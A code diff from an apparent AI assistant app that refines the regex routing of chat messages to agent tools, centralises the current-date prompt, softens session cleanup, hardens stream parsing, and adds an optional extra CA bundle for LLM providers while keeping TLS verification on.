("calendar", "calendar imperative action request", rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
|
||||||
|
("calendar", "calendar target action request", rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b"),
|
||||||
|
("calendar", "calendar item action request", rf"{_PLEASE}{_CALENDAR_ACTION}\s+(?:it\s+)?(?:a\s+|an\s+)?(?:calendar\s+)?(?:event|meeting|appointment|entry|item|call)\b"),
|
||||||
|
("calendar", "calendar target action request", rf"\b{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b"),
|
||||||
|
("calendar", "put item on calendar request", r"\bput\s+.+\bon\s+(?:my\s+)?calendar\b"),
|
||||||
|
|
||||||
# Notes, todos, checklists, and reminders.
|
# Notes, todos, checklists, and reminders.
|
||||||
r"\bremind\s+me\b",
|
("notes", "reminder request", r"\bremind\s+me\b"),
|
||||||
rf"{_ACTION_QUESTION}(?:add|create|make|take|jot|write\s+down|set)\b.{{0,120}}\b(?:note|todo|task|checklist|reminder)\b",
|
("notes", "assistant note/todo action request", rf"{_ACTION_QUESTION}(?:add|create|make|take|jot|write\s+down|set)\b.{{0,120}}\b(?:note|todo|task|checklist|reminder)\b"),
|
||||||
rf"{_PLEASE}(?:add|create|make)\s+(?:a\s+|an\s+)?(?:todo|task|reminder|note|checklist)\b",
|
("notes", "note/todo imperative request", rf"{_PLEASE}(?:add|create|make)\s+(?:a\s+|an\s+)?(?:todo|task|reminder|note|checklist)\b"),
|
||||||
rf"{_PLEASE}(?:take|jot|write\s+down)\s+(?:a\s+|an\s+)?note\b",
|
("notes", "take note request", rf"{_PLEASE}(?:take|jot|write\s+down)\s+(?:a\s+|an\s+)?note\b"),
|
||||||
rf"{_PLEASE}(?:add|jot|write\s+down)\b.{{0,120}}\b(?:to|in|into)\s+(?:my\s+|the\s+)?(?:todo(?:\s+list)?|task\s+list|notes?|checklist)\b",
|
("notes", "add item to notes/todo request", rf"{_PLEASE}(?:add|jot|write\s+down)\b.{{0,120}}\b(?:to|in|into)\s+(?:my\s+|the\s+)?(?:todo(?:\s+list)?|task\s+list|notes?|checklist)\b"),
|
||||||
rf"{_PLEASE}set\s+(?:a\s+)?reminder\b",
|
("notes", "set reminder request", rf"{_PLEASE}set\s+(?:a\s+)?reminder\b"),
|
||||||
rf"{_ACTION_QUESTION}set\s+(?:a\s+)?reminder\b",
|
("notes", "assistant reminder request", rf"{_ACTION_QUESTION}set\s+(?:a\s+)?reminder\b"),
|
||||||
|
|
||||||
# Email actions.
|
# Email actions.
|
||||||
rf"{_ACTION_QUESTION}(?:send|write|reply|email|message|archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox|unread|read)\b",
|
("email", "assistant email action request", rf"{_ACTION_QUESTION}(?:send|write|reply|email|message|archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox|unread|read)\b"),
|
||||||
rf"{_PLEASE}(?:send|write|reply)\b.{{0,120}}\b(?:emails?|mail|messages?)\b",
|
("email", "send/write/reply email request", rf"{_PLEASE}(?:send|write|reply)\b.{{0,120}}\b(?:emails?|mail|messages?)\b"),
|
||||||
rf"{_PLEASE}(?:archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox)\b",
|
("email", "archive/delete/mark email request", rf"{_PLEASE}(?:archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox)\b"),
|
||||||
r"\b(?:send|write|reply)\s+(?:an?\s+)?(?:email|message|mail)\b",
|
("email", "email composition request", r"\b(?:send|write|reply)\s+(?:an?\s+)?(?:email|message|mail)\b"),
|
||||||
r"\bemail\s+\w+\b",
|
("email", "email contact request", r"\bemail\s+\w+\b"),
|
||||||
r"\bcheck\s+(?:my\s+)?(?:email|inbox|mail)\b",
|
("email", "check inbox request", r"\bcheck\s+(?:my\s+)?(?:email|inbox|mail)\b"),
|
||||||
r"\bunread\s+(?:email|mail)s?\b",
|
("email", "unread email request", r"\bunread\s+(?:email|mail)s?\b"),
|
||||||
|
|
||||||
# UI/control-plane actions that should open panels or flip toggles.
|
# UI/control-plane actions that should open panels or flip toggles.
|
||||||
rf"{_PLEASE}(?:open|show|bring\s+up)\s+(?:me\s+)?(?:my\s+|the\s+)?{_PANEL}\b",
|
("ui", "open/show panel request", rf"{_PLEASE}(?:open|show|bring\s+up)\s+(?:me\s+)?(?:my\s+|the\s+)?{_PANEL}\b"),
|
||||||
r"\b(?:disable|enable|turn\s+(?:on|off))\s+(?:the\s+)?(?:shell|search|web|browser|documents?|memory|skills|images?|calendar|email|mail|research|incognito)\b",
|
("ui", "tool or feature toggle request", r"\b(?:disable|enable|turn\s+(?:on|off))\s+(?:the\s+)?(?:shell|search|web|browser|documents?|memory|skills|images?|calendar|email|mail|research|incognito)\b"),
|
||||||
|
|
||||||
# Deep research jobs, not quick conceptual mentions of research.
|
# Deep research jobs, not quick conceptual mentions of research.
|
||||||
rf"{_PLEASE}(?:research|deep\s+dive|look\s+into|investigate)\s+.+",
|
("research", "deep research imperative request", rf"{_PLEASE}(?:research|deep\s+dive|look\s+into|investigate)\s+.+"),
|
||||||
rf"{_ACTION_QUESTION}(?:research|do\s+research|deep\s+dive|look\s+into|investigate)\s+.+",
|
("research", "assistant deep research request", rf"{_ACTION_QUESTION}(?:research|do\s+research|deep\s+dive|look\s+into|investigate)\s+.+"),
|
||||||
|
|
||||||
# Shell / remote-host intent.
|
# Shell / remote-host intent.
|
||||||
r"\bssh\s+(?:in)?to\b",
|
("shell", "ssh request", r"\bssh\s+(?:in)?to\b"),
|
||||||
r"\bssh\s+\w+",
|
("shell", "ssh target request", r"\bssh\s+\w+"),
|
||||||
r"\b(run|execute)\s+.{1,40}\bon\s+\w+",
|
("shell", "remote command request", r"\b(run|execute)\s+.{1,40}\bon\s+\w+"),
|
||||||
r"\b(can|could|please|would)\s+you\s+(run|execute|exec)\b",
|
("shell", "assistant command execution request", r"\b(can|could|please|would)\s+you\s+(run|execute|exec)\b"),
|
||||||
# Shell verbs only count in imperative position (start of message,
|
# Shell verbs only count in imperative position (start of message,
|
||||||
# optionally after "please") or as a "can you ..." request. A bare
|
# optionally after "please") or as a "can you ..." request. A bare
|
||||||
# word match promoted informational questions ("What does the grep
|
# word match promoted informational questions ("What does the grep
|
||||||
# command do?") and incidental uses ("My cat ate my homework").
|
# command do?") and incidental uses ("My cat ate my homework").
|
||||||
rf"{_PLEASE}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+",
|
("shell", "imperative shell command request", rf"{_PLEASE}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+"),
|
||||||
rf"{_ACTION_QUESTION}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+",
|
("shell", "assistant shell command request", rf"{_ACTION_QUESTION}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+"),
|
||||||
r"\b(check|see)\s+(if|whether|what)\s+.{1,40}\b(running|process|service|port|file|exists?)\b",
|
("shell", "system/file check request", r"\b(check|see)\s+(if|whether|what)\s+.{1,40}\b(running|process|service|port|file|exists?)\b"),
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
_TOOL_INTENT_PATTERNS: tuple[Pattern[str], ...] = tuple(
|
||||||
|
pattern for _, _, pattern in _ROUTING_PATTERNS
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def classify_tool_intent(text: str) -> ToolIntent:
|
||||||
|
"""Classify whether a chat message should be promoted to agent mode."""
|
||||||
|
if not text:
|
||||||
|
return ToolIntent(False, reason="empty message")
|
||||||
|
if _EXPLANATORY_PREFIX.search(text):
|
||||||
|
return ToolIntent(False, reason="explanatory feature question")
|
||||||
|
for category, reason, pattern in _ROUTING_PATTERNS:
|
||||||
|
if pattern.search(text):
|
||||||
|
return ToolIntent(True, category=category, reason=reason)
|
||||||
|
return ToolIntent(False, reason="no tool-action pattern matched")
|
||||||
|
|
||||||
|
|
||||||
def message_needs_tools(text: str, patterns: Iterable[Pattern[str]] = _TOOL_INTENT_PATTERNS) -> bool:
|
def message_needs_tools(text: str, patterns: Iterable[Pattern[str]] = _TOOL_INTENT_PATTERNS) -> bool:
|
||||||
"""Return True when a plain chat message should be promoted to agent mode."""
|
"""Return True when a plain chat message should be promoted to agent mode."""
|
||||||
if not text:
|
if not text:
|
||||||
return False
|
return False
|
||||||
|
if _EXPLANATORY_PREFIX.search(text):
|
||||||
|
return False
|
||||||
|
if patterns is _TOOL_INTENT_PATTERNS:
|
||||||
|
return classify_tool_intent(text).needs_tools
|
||||||
return any(pattern.search(text) for pattern in patterns)
|
return any(pattern.search(text) for pattern in patterns)
|
||||||
|
|||||||
+4
-21
@@ -637,28 +637,11 @@ def _build_system_prompt(
|
|||||||
|
|
||||||
set_active_model(model)
|
set_active_model(model)
|
||||||
|
|
||||||
# Current date/time — every request. Models default to their
|
# Current date/time for every agent request. This is user-local when the
|
||||||
# training-cutoff date when "today" is asked otherwise (was
|
# browser provided timezone headers, with a server-local fallback.
|
||||||
# rendering April 2026 dates as "today" when the actual date is
|
|
||||||
# May 19, 2026). System TZ-local so calendar/email date math
|
|
||||||
# matches what the user sees.
|
|
||||||
try:
|
try:
|
||||||
from datetime import datetime as _dt, timezone as _tz
|
from src.user_time import current_datetime_prompt
|
||||||
_now = _dt.now().astimezone()
|
agent_prompt = current_datetime_prompt() + agent_prompt
|
||||||
_utc = _dt.now(_tz.utc)
|
|
||||||
_off = _now.strftime('%z') # e.g. +0900
|
|
||||||
_off_fmt = (f"{_off[:3]}:{_off[3:]}" if _off else "+00:00")
|
|
||||||
agent_prompt = (
|
|
||||||
f"## Current date and time\n"
|
|
||||||
f"Today is {_now.strftime('%A, %B %-d, %Y')} ({_now.strftime('%Y-%m-%d')}). "
|
|
||||||
f"Local time is {_now.strftime('%-I:%M %p')} ({_now.strftime('%Z')}, UTC{_off_fmt}); "
|
|
||||||
f"current UTC time is {_utc.strftime('%H:%M')}. "
|
|
||||||
f"Use this for any 'today'/'tomorrow'/'this week' reasoning — do NOT "
|
|
||||||
f"infer the date from training data or from event timestamps.\n"
|
|
||||||
f"When scheduling a task (manage_tasks), scheduled_time is in UTC: "
|
|
||||||
f"subtract the offset above from the user's local time "
|
|
||||||
f"(local {_now.strftime('%H:%M')} = {_utc.strftime('%H:%M')} UTC right now).\n\n"
|
|
||||||
) + agent_prompt
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|||||||
@@ -38,13 +38,16 @@ class TaskDeferred(BaseException):
|
|||||||
|
|
||||||
|
|
||||||
async def action_tidy_sessions(owner: str, **kwargs) -> Tuple[str, bool]:
|
async def action_tidy_sessions(owner: str, **kwargs) -> Tuple[str, bool]:
|
||||||
"""Delete empty/throwaway sessions for the owner. Pure heuristic —
|
"""Delete empty sessions for the owner. Pure heuristic —
|
||||||
the LLM folder-sort phase is skipped (user opted to keep this task
|
the LLM folder-sort phase is skipped (user opted to keep this task
|
||||||
LLM-free; sorting can be triggered manually via the Chats UI)."""
|
LLM-free; sorting can be triggered manually via the Chats UI)."""
|
||||||
try:
|
try:
|
||||||
import asyncio
|
import asyncio
|
||||||
from src.session_actions import run_auto_sort
|
from src.session_actions import run_auto_sort
|
||||||
result = await asyncio.wait_for(run_auto_sort(owner, skip_llm=True), timeout=60)
|
result = await asyncio.wait_for(
|
||||||
|
run_auto_sort(owner, skip_llm=True, delete_throwaway=False),
|
||||||
|
timeout=60,
|
||||||
|
)
|
||||||
return result, True
|
return result, True
|
||||||
except asyncio.TimeoutError:
|
except asyncio.TimeoutError:
|
||||||
logger.error("tidy_sessions action timed out")
|
logger.error("tidy_sessions action timed out")
|
||||||
|
|||||||
@@ -185,6 +185,15 @@ class ChatProcessor:
|
|||||||
"role": "system",
|
"role": "system",
|
||||||
"content": preset_system_prompt
|
"content": preset_system_prompt
|
||||||
})
|
})
|
||||||
|
if not agent_mode:
|
||||||
|
try:
|
||||||
|
from src.user_time import current_datetime_prompt
|
||||||
|
preface.append({
|
||||||
|
"role": "system",
|
||||||
|
"content": current_datetime_prompt(),
|
||||||
|
})
|
||||||
|
except Exception:
|
||||||
|
logger.debug("Failed to add current date/time context", exc_info=True)
|
||||||
preface.append({
|
preface.append({
|
||||||
"role": "system",
|
"role": "system",
|
||||||
"content": UNTRUSTED_CONTEXT_POLICY,
|
"content": UNTRUSTED_CONTEXT_POLICY,
|
||||||
|
|||||||
+12
-4
@@ -129,7 +129,10 @@ def _get_http_client() -> httpx.AsyncClient:
|
|||||||
"""Return process-wide AsyncClient. Per-request timeout is passed at call time."""
|
"""Return process-wide AsyncClient. Per-request timeout is passed at call time."""
|
||||||
global _http_client
|
global _http_client
|
||||||
if _http_client is None or _http_client.is_closed:
|
if _http_client is None or _http_client.is_closed:
|
||||||
_http_client = httpx.AsyncClient(limits=_http_limits, http2=False)
|
from src.tls_overrides import llm_verify
|
||||||
|
_http_client = httpx.AsyncClient(
|
||||||
|
limits=_http_limits, http2=False, verify=llm_verify(),
|
||||||
|
)
|
||||||
return _http_client
|
return _http_client
|
||||||
|
|
||||||
def _get_cached_response(cache_key: str) -> Optional[str]:
|
def _get_cached_response(cache_key: str) -> Optional[str]:
|
||||||
@@ -1395,7 +1398,7 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
|
|||||||
j = json.loads(data)
|
j = json.loads(data)
|
||||||
# Usage chunk (from stream_options)
|
# Usage chunk (from stream_options)
|
||||||
_choices = j.get("choices") or []
|
_choices = j.get("choices") or []
|
||||||
_delta0 = _choices[0].get("delta") if _choices else None
|
_delta0 = _choices[0].get("delta") if (_choices and _choices[0] is not None) else None
|
||||||
# Capture usage whenever the chunk carries it and
|
# Capture usage whenever the chunk carries it and
|
||||||
# the delta has no actual output. Some gateways /
|
# the delta has no actual output. Some gateways /
|
||||||
# local servers attach usage to the FINAL delta,
|
# local servers attach usage to the FINAL delta,
|
||||||
@@ -1409,7 +1412,7 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
|
|||||||
or _delta0.get("tool_calls")
|
or _delta0.get("tool_calls")
|
||||||
)
|
)
|
||||||
if "usage" in j and not _delta_has_output:
|
if "usage" in j and not _delta_has_output:
|
||||||
u = j["usage"]
|
u = j["usage"] or {}
|
||||||
_usage_data = {"input_tokens": u.get("prompt_tokens", 0), "output_tokens": u.get("completion_tokens", 0)}
|
_usage_data = {"input_tokens": u.get("prompt_tokens", 0), "output_tokens": u.get("completion_tokens", 0)}
|
||||||
# llama.cpp puts a `timings` block alongside `usage` with the
|
# llama.cpp puts a `timings` block alongside `usage` with the
|
||||||
# TRUE generation speed (predicted_per_second) — pure decode,
|
# TRUE generation speed (predicted_per_second) — pure decode,
|
||||||
@@ -1424,7 +1427,10 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
|
|||||||
_usage_data["prefill_tps"] = round(_tm["prompt_per_second"], 2)
|
_usage_data["prefill_tps"] = round(_tm["prompt_per_second"], 2)
|
||||||
yield f'data: {json.dumps({"type": "usage", "data": _usage_data})}\n\n'
|
yield f'data: {json.dumps({"type": "usage", "data": _usage_data})}\n\n'
|
||||||
elif "choices" in j:
|
elif "choices" in j:
|
||||||
delta = j["choices"][0].get("delta") or {}
|
_c0 = (j["choices"] or [None])[0]
|
||||||
|
if _c0 is None:
|
||||||
|
continue
|
||||||
|
delta = _c0.get("delta") or {}
|
||||||
if isinstance(delta, dict):
|
if isinstance(delta, dict):
|
||||||
# Text content
|
# Text content
|
||||||
# Reasoning tokens (VLLM --reasoning-parser, e.g. Qwen3/DeepSeek-R1, Nemotron). vLLM 0.20.2 / NIM emit the field as `reasoning`; older builds use `reasoning_content`. Accept either.
|
# Reasoning tokens (VLLM --reasoning-parser, e.g. Qwen3/DeepSeek-R1, Nemotron). vLLM 0.20.2 / NIM emit the field as `reasoning`; older builds use `reasoning_content`. Accept either.
|
||||||
@@ -1443,6 +1449,8 @@ async def stream_llm(url: str, model: str, messages: List[Dict], temperature: fl
|
|||||||
yield f'data: {json.dumps({"delta": content})}\n\n'
|
yield f'data: {json.dumps({"delta": content})}\n\n'
|
||||||
# Native tool calls — accumulate across chunks
|
# Native tool calls — accumulate across chunks
|
||||||
for tc in delta.get("tool_calls") or []:
|
for tc in delta.get("tool_calls") or []:
|
||||||
|
if tc is None:
|
||||||
|
continue
|
||||||
func = tc.get("function") or {}
|
func = tc.get("function") or {}
|
||||||
raw_idx = tc.get("index")
|
raw_idx = tc.get("index")
|
||||||
if raw_idx is None:
|
if raw_idx is None:
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ parallel copy; it now re-exports so the two cannot drift out of sync again.
|
|||||||
|
|
||||||
from services.search.ranking import ( # noqa: F401
|
from services.search.ranking import ( # noqa: F401
|
||||||
_AGE_FORMATS,
|
_AGE_FORMATS,
|
||||||
|
_SPORTS_HINT_RE,
|
||||||
_utcnow_naive,
|
_utcnow_naive,
|
||||||
rank_search_results,
|
rank_search_results,
|
||||||
recency_score,
|
recency_score,
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ and the task scheduler / builtin actions system.
|
|||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
from datetime import datetime
|
from datetime import datetime, timedelta
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
@@ -22,9 +22,10 @@ _THROWAWAY_NAMES = {
|
|||||||
"ok", "lol", "bruh", "hmm", "hm", "meh",
|
"ok", "lol", "bruh", "hmm", "hm", "meh",
|
||||||
}
|
}
|
||||||
_THROWAWAY_MAX_MESSAGES = 4
|
_THROWAWAY_MAX_MESSAGES = 4
|
||||||
|
_FRESH_EMPTY_SESSION_GRACE = timedelta(minutes=10)
|
||||||
|
|
||||||
|
|
||||||
async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
|
async def run_auto_sort(owner: str, skip_llm: bool = False, delete_throwaway: bool = True) -> str:
|
||||||
"""Run session cleanup + (optional) AI folder sort for the given owner.
|
"""Run session cleanup + (optional) AI folder sort for the given owner.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
@@ -32,6 +33,7 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
|
|||||||
skip_llm: when True, do only Phase 1 (delete empty/throwaway sessions);
|
skip_llm: when True, do only Phase 1 (delete empty/throwaway sessions);
|
||||||
skip Phase 2 (AI folder assignment). Used by the built-in daily
|
skip Phase 2 (AI folder assignment). Used by the built-in daily
|
||||||
background sweep so it never burns LLM tokens.
|
background sweep so it never burns LLM tokens.
|
||||||
|
delete_throwaway: when False, only empty/incognito sessions are deleted.
|
||||||
|
|
||||||
Returns a human-readable summary of what was done.
|
Returns a human-readable summary of what was done.
|
||||||
"""
|
"""
|
||||||
@@ -53,6 +55,8 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
|
|||||||
for row in rows:
|
for row in rows:
|
||||||
if getattr(row, 'is_important', False):
|
if getattr(row, 'is_important', False):
|
||||||
continue
|
continue
|
||||||
|
created_at = row.created_at or row.updated_at or datetime.utcnow()
|
||||||
|
is_fresh = (datetime.utcnow() - created_at) < _FRESH_EMPTY_SESSION_GRACE
|
||||||
if (row.name or "").strip() == "Incognito":
|
if (row.name or "").strip() == "Incognito":
|
||||||
deleted_throwaway += 1
|
deleted_throwaway += 1
|
||||||
db.delete(row)
|
db.delete(row)
|
||||||
@@ -64,9 +68,11 @@ async def run_auto_sort(owner: str, skip_llm: bool = False) -> str:
|
|||||||
should_delete = False
|
should_delete = False
|
||||||
|
|
||||||
if msg_count == 0:
|
if msg_count == 0:
|
||||||
|
if is_fresh:
|
||||||
|
continue
|
||||||
should_delete = True
|
should_delete = True
|
||||||
deleted_empty += 1
|
deleted_empty += 1
|
||||||
elif msg_count <= _THROWAWAY_MAX_MESSAGES:
|
elif delete_throwaway and msg_count <= _THROWAWAY_MAX_MESSAGES:
|
||||||
name = (row.name or "").strip().lower()
|
name = (row.name or "").strip().lower()
|
||||||
first_msg = db.query(DbMsg.content).filter(
|
first_msg = db.query(DbMsg.content).filter(
|
||||||
DbMsg.session_id == row.id, DbMsg.role == "user"
|
DbMsg.session_id == row.id, DbMsg.role == "user"
|
||||||
|
|||||||
+12
-4
@@ -979,10 +979,10 @@ class TaskScheduler:
|
|||||||
task = db.query(ScheduledTask).filter(ScheduledTask.id == task_id).first()
|
task = db.query(ScheduledTask).filter(ScheduledTask.id == task_id).first()
|
||||||
if not task:
|
if not task:
|
||||||
return True
|
return True
|
||||||
task_type = task.task_type or "llm"
|
task_type = getattr(task, "task_type", "") or "llm"
|
||||||
if task_type != "action":
|
if task_type != "action":
|
||||||
return True
|
return True
|
||||||
return (task.action or "") in self._MODEL_BACKED_ACTIONS
|
return (getattr(task, "action", "") or "") in self._MODEL_BACKED_ACTIONS
|
||||||
finally:
|
finally:
|
||||||
db.close()
|
db.close()
|
||||||
|
|
||||||
@@ -992,7 +992,7 @@ class TaskScheduler:
|
|||||||
if "check-in" in (task.name or "").lower():
|
if "check-in" in (task.name or "").lower():
|
||||||
return
|
return
|
||||||
# Built-in housekeeping noise stays out of the chat.
|
# Built-in housekeeping noise stays out of the chat.
|
||||||
if (task.action or "") in self._SILENT_ACTIONS:
|
if (getattr(task, "action", "") or "") in self._SILENT_ACTIONS:
|
||||||
return
|
return
|
||||||
from src.assistant_log import log_to_assistant
|
from src.assistant_log import log_to_assistant
|
||||||
log_to_assistant(
|
log_to_assistant(
|
||||||
@@ -1408,6 +1408,12 @@ class TaskScheduler:
|
|||||||
from core.database import Session as DbSession, ChatMessage, CrewMember
|
from core.database import Session as DbSession, ChatMessage, CrewMember
|
||||||
|
|
||||||
output = task.output_target or "session"
|
output = task.output_target or "session"
|
||||||
|
if (
|
||||||
|
output == "session"
|
||||||
|
and (getattr(task, "task_type", "") or "") == "action"
|
||||||
|
and (getattr(task, "action", "") or "") in self._SILENT_ACTIONS
|
||||||
|
):
|
||||||
|
return
|
||||||
if output.startswith("mcp__"):
|
if output.startswith("mcp__"):
|
||||||
await self._deliver_via_mcp(output, task, result)
|
await self._deliver_via_mcp(output, task, result)
|
||||||
return
|
return
|
||||||
@@ -2069,6 +2075,8 @@ class TaskScheduler:
|
|||||||
# Built-in housekeeping/action jobs should not create browser
|
# Built-in housekeeping/action jobs should not create browser
|
||||||
# task notifications; user AI/research tasks still can.
|
# task notifications; user AI/research tasks still can.
|
||||||
task.notifications_enabled = False
|
task.notifications_enabled = False
|
||||||
|
if (task.output_target or "session") == "session":
|
||||||
|
task.output_target = defs.get("output_target", "none")
|
||||||
seeded = []
|
seeded = []
|
||||||
for action, defs in HOUSEKEEPING_DEFAULTS.items():
|
for action, defs in HOUSEKEEPING_DEFAULTS.items():
|
||||||
if action in existing_actions:
|
if action in existing_actions:
|
||||||
@@ -2099,7 +2107,7 @@ class TaskScheduler:
|
|||||||
# AI/email/calendar tasks opt into a paused starting state
|
# AI/email/calendar tasks opt into a paused starting state
|
||||||
# via ship_paused so users can enable them deliberately.
|
# via ship_paused so users can enable them deliberately.
|
||||||
status="paused" if ships_paused else "active",
|
status="paused" if ships_paused else "active",
|
||||||
output_target="session",
|
output_target=defs.get("output_target", "none"),
|
||||||
notifications_enabled=False,
|
notifications_enabled=False,
|
||||||
)
|
)
|
||||||
db.add(task)
|
db.add(task)
|
||||||
|
|||||||
@@ -0,0 +1,91 @@
|
|||||||
|
"""Extended TLS trust store for private-CA LLM providers.
|
||||||
|
|
||||||
|
Some upstream LLM providers serve their API over TLS certificates that are
|
||||||
|
signed by a private root CA which is not part of the standard system bundle:
|
||||||
|
|
||||||
|
- GigaChat (Sber) uses the Russian Trusted Root CA, not bundled with
|
||||||
|
OpenSSL / certifi / system trust on most non-Russian installs. The
|
||||||
|
chain looks self-signed to Python and the endpoint is marked offline
|
||||||
|
with `CERTIFICATE_VERIFY_FAILED: self-signed certificate in
|
||||||
|
certificate chain` (see issue #722).
|
||||||
|
- On-premise enterprise LLM gateways often present a corporate CA that
|
||||||
|
has not been imported into the runtime's trust store.
|
||||||
|
|
||||||
|
Operators point `LLM_CA_BUNDLE` at a PEM file containing the extra CA
|
||||||
|
cert(s). The default system / certifi trust store is loaded first, then
|
||||||
|
the operator's PEM is layered on top, so verification still happens —
|
||||||
|
the trust set just gets larger. We deliberately do not provide a
|
||||||
|
"verify=off" knob: weakening verification globally (or per-host) would
|
||||||
|
expose those endpoints to MITM, and the operator-supplied bundle is the
|
||||||
|
correct fix for legitimate private-CA providers.
|
||||||
|
|
||||||
|
Example (GigaChat):
|
||||||
|
# Sber publishes the chain at
|
||||||
|
# https://www.gosuslugi.ru/crt/rootca_ssl_rsa2022.cer
|
||||||
|
# Convert to PEM and point the env var at it.
|
||||||
|
LLM_CA_BUNDLE=/etc/odysseus/ca/russian-trusted-root.pem
|
||||||
|
|
||||||
|
Scope:
|
||||||
|
`llm_verify()` is intentionally consumed by only two call sites — the
|
||||||
|
shared async client in `src/llm_core.py` and the endpoint probes in
|
||||||
|
`routes/model_routes.py`. Both reach LLM provider URLs. The override
|
||||||
|
is NOT threaded into web_fetch, search providers, gallery downloads,
|
||||||
|
embeddings, webhook delivery, or anything else that hits arbitrary
|
||||||
|
URLs, and it does NOT affect the app's own browser-facing TLS. That
|
||||||
|
boundary is pinned by `tests/test_tls_overrides_scope.py` — extending
|
||||||
|
it requires updating the allowlist there with a written justification.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import ssl
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
_extra_bundle_path: Optional[str] = (os.environ.get("LLM_CA_BUNDLE") or "").strip() or None
|
||||||
|
|
||||||
|
|
||||||
|
def _build_ssl_context() -> Optional[ssl.SSLContext]:
|
||||||
|
"""Build an SSLContext that uses the default trust store and ALSO trusts
|
||||||
|
the operator-supplied PEM bundle. Returns None when no extra bundle is
|
||||||
|
configured, so callers fall through to httpx's default verify=True."""
|
||||||
|
if not _extra_bundle_path:
|
||||||
|
return None
|
||||||
|
if not os.path.isfile(_extra_bundle_path):
|
||||||
|
logger.warning(
|
||||||
|
"LLM_CA_BUNDLE points at %r but the file does not exist; "
|
||||||
|
"falling back to the default trust store.",
|
||||||
|
_extra_bundle_path,
|
||||||
|
)
|
||||||
|
return None
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
try:
|
||||||
|
ctx.load_verify_locations(cafile=_extra_bundle_path)
|
||||||
|
except (ssl.SSLError, OSError) as e:
|
||||||
|
logger.warning(
|
||||||
|
"LLM_CA_BUNDLE=%r failed to load (%s); falling back to the "
|
||||||
|
"default trust store.",
|
||||||
|
_extra_bundle_path, e,
|
||||||
|
)
|
||||||
|
return None
|
||||||
|
logger.info(
|
||||||
|
"Loaded extra CA bundle %r on top of the default trust store.",
|
||||||
|
_extra_bundle_path,
|
||||||
|
)
|
||||||
|
return ctx
|
||||||
|
|
||||||
|
|
||||||
|
# Resolved once at import time. The httpx clients in src/llm_core.py are
|
||||||
|
# long-lived (process-wide), so editing LLM_CA_BUNDLE requires a restart —
|
||||||
|
# matching the existing semantics of LLM_HOST, SEARXNG_INSTANCE, etc.
|
||||||
|
_SHARED_SSL_CONTEXT: Optional[ssl.SSLContext] = _build_ssl_context()
|
||||||
|
|
||||||
|
|
||||||
|
def llm_verify():
|
||||||
|
"""Return the value to pass as `verify=` on httpx.get / httpx.Client /
|
||||||
|
httpx.AsyncClient. Returns the extended-trust SSLContext when
|
||||||
|
LLM_CA_BUNDLE is set and loaded; otherwise True (httpx default — system
|
||||||
|
/ certifi bundle, verification fully on)."""
|
||||||
|
return _SHARED_SSL_CONTEXT if _SHARED_SSL_CONTEXT is not None else True
|
||||||
+1
-1
@@ -110,7 +110,7 @@ BUILTIN_TOOL_DESCRIPTIONS: Dict[str, str] = {
|
|||||||
"resolve_contact": "Look up a contact's email address by name. Searches CardDAV address book and sent email history. Use when the user says 'message [name]', 'email [name]', or 'send to [name]' without an email address.",
|
"resolve_contact": "Look up a contact's email address by name. Searches CardDAV address book and sent email history. Use when the user says 'message [name]', 'email [name]', or 'send to [name]' without an email address.",
|
||||||
"manage_contact": "Create, update, delete, or list CardDAV contacts. Use to save a new contact, change an existing one's email/phone, or remove one. Action=list returns uids needed for update/delete. Use when the user says 'save this contact', 'add [name] to contacts', 'update [name]'s email', 'delete [name] from contacts'. Do not use for user identity facts like 'my name is <name>'; those are memory.",
|
"manage_contact": "Create, update, delete, or list CardDAV contacts. Use to save a new contact, change an existing one's email/phone, or remove one. Action=list returns uids needed for update/delete. Use when the user says 'save this contact', 'add [name] to contacts', 'update [name]'s email', 'delete [name] from contacts'. Do not use for user identity facts like 'my name is <name>'; those are memory.",
|
||||||
"manage_notes": "Create and manage notes and checklists (Google Keep-style). ALWAYS use this for note/todo/checklist/reminder creation — NEVER hit /api/notes via app_api. Accepts natural-language `due_date` like 'tomorrow at 9am' or '11pm today' (parsed in the USER'S timezone). The due_date IS the reminder — it fires a notification at that time, so do NOT also create a calendar event for the same reminder. Set colors, labels, pin, archive. Do NOT use manage_memory for note content.",
|
